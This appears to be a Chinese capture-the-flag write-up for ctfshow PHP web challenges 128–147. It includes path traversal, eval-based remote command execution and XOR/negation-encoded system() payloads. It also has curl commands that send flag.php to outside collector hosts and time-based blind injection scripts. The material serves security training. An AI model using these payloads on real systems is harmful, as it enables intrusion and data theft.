gettext拓展的使用.

https://www.cnblogs.com/lost-1987/articles/3309693.html

https://www.php.net/manual/zh/book.gettext.php

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

所以 call_user_func('_','phpinfo')返回的就是phpinfo

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:

?f1=_&f2=get_defined_vars

web129~stripos包含特定绕过

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}
  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
PHP 版本: 5+

目录穿越:

?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php

还可以php伪协议

payload:

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

还可以远程文件包含。在自己服务器上写一个命名 ctfshow.txt.

web130~正则

very very very(省略25万个very)ctfshow

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

直接 post ,正则匹配到 ctfshow与匹配规则不符 ,同时 stripos在第0 匹配, 而0=== FALSE为假绕过。

f=ctfshow

web131(修复130)~正则最大回溯

very very very(省略25万个very)ctfshow

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

利用正则最大回溯次数绕过

https://www.laruence.com/2010/06/08/1579.html

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

写个py脚本:

import requests

url = "http://b6f3a9c0-3da1-44b5-8cee-fedece8ae121.chall.ctf.show/"

param = "very"*250000+"36Dctfshow"
data = {
    'f':param,
}
print(param)
reponse = requests.post(url=url,data=data)
print(reponse.text)

得到Falg

web132~运算符 && ||

打开是一个网站。

直接扫目录,扫到 /admin/

<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

        if($code == 'admin'){
            echo $flag;
        }

    }
}

if绕过

if(false && false || ture)

payload

/admin/index.php?code=admin&username=admin&password=

web133~无回显rce,curl

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖?
那我们来一个简单的测试,

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

payload:

#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件 
?F=`$F `;curl -X POST -F xx=@flag.php  http://xxx

r0wQeJ.png

r0wlw9.md.png

执行payload

?F=`$F `;curl -X POST -F xx=@flag.php  http://rrm5fjnnoqnekm19gqkc8q8dl4rvfk.burpcollaborator.net

之后就会在burp上收到 flag.php的内容,

其他方法:

利用网站 http://requestbin.net

?F=`$F `;curl  http://requestbin.net/r/1g8bsc01?p=`cat flag.php|grep flag`

r0B4Gq.md.png

参照:

https://blog.csdn.net/qq_46091464/article/details/109095382

web134~POST数组的覆盖

<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
  • parse_str() 函数把查询字符串解析到变量中。
  • extract() 函数从数组中将变量导入到当前的符号表。

r0fVH0.md.png

POST数组的覆盖

可以看到以GET 传参_POST[a]相当于post传参 a 效果。

构造paylaod

?_POST[key1]=36d&_POST[key2]=36d

web135~rce nl,cp,mv

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

在133的基础上增加了curl和其他一些字符的过滤,

可以写文件。

?F=`$F `;nl flag*>1.txt

也可以

?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt

http://dnslog.cn/

申请一个域名。但是这种方法不行,可能域名前缀不行吧。

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

web136~linux tee命令

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

把重定向符、mv、cp禁用了。

linux中tee命令·

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

tee [OPTION]... [FILE]...

构造payload:

?c=ls /|tee 1
?c=awk '/f/' /f149_15_h3r3|tee 1

web137~class:fun()

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);
  • call_user_func — 把第一个参数作为回调函数调用
  • 第一个参数 callback是被调用的回调函数,其余参数是回调函数的参数。

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

直接调用getFlag函数

ctfshow=ctfshow::getFlag

web138~call_user_func数组回调

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

这下子把 :冒号给禁用了。

用call_user_func()来调用一个类里面的方法

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

试了,没有写权限没所以不能写入文件了。

也没有回显。

师傅们的脚本。

猜测文件名:

import requests
import time
import string

str = string.ascii_letters + string.digits
result = ""
for i in range(1, 5):
    key = 0
    for j in range(1, 15):
        if key == 1:
            break
        for n in str:
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
            # print(payload)
            url = "http://5c76069b-da3c-40a2-ac52-718a1c84fe56.chall.ctf.show/?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))
            except:
                result = result + n
                print(result)
                break
            if n == '9':
                key = 1
    result += " "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))
		except:
		    result=result+n
		    print(result)
		    break

web140~弱比较函数调用

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

intval($code) == 'ctfshow'弱比较,所以只需要将 $code 等于字母或者 0 即可。

f1=md5&f2=phpinfo
f1=md5&f2=md5
f1=sha1&f2=getcwd

we141~取反-执行php命令

<?php

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

/^\W+$/作用是匹配非数字字母下划线的字符.

php中 1-phpinfo();可以执行phpinfo()命令的。

取反构造

payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-   # system(ls)

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-    # system('cat flag.php')

取反脚本

web142

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

直接

?v1=0

?v1=0x0

web143~异或 *

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令。

异或脚本:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }

		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

payload:

?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a")*

web144~异或

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}
  • \W 匹配非字母、数字、下划线。等价于 ‘[^A-Za-z0-9_]’。

直接构造 paylaod:

# system(ls)
?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60")

# system('cat f*')
?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a")

web145~三元运算符

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

- * ^ "

取反绕过。

取反脚本:

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

构造system(ls)

(~%8C%86%8C%8B%9A%92)(~%93%8C)

但是不知道如何使它执行,那么fuzz一波。

syv4kF.md.png

结果 ? :

也就是 return 1?system(ls):1

payload:

?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):

web146~等号,位运算

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

接着把 三目运算过滤了。

利用等号和位运算符绕过。

payload:

?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

web147

<?php


highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}
WEB安全

php rce之无参数读文件

2021-1-26 10:52:30

WEB安全

对于crawlergo|rad|burpsuite|awvs爬虫的对比

2021-1-26 10:52:41

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索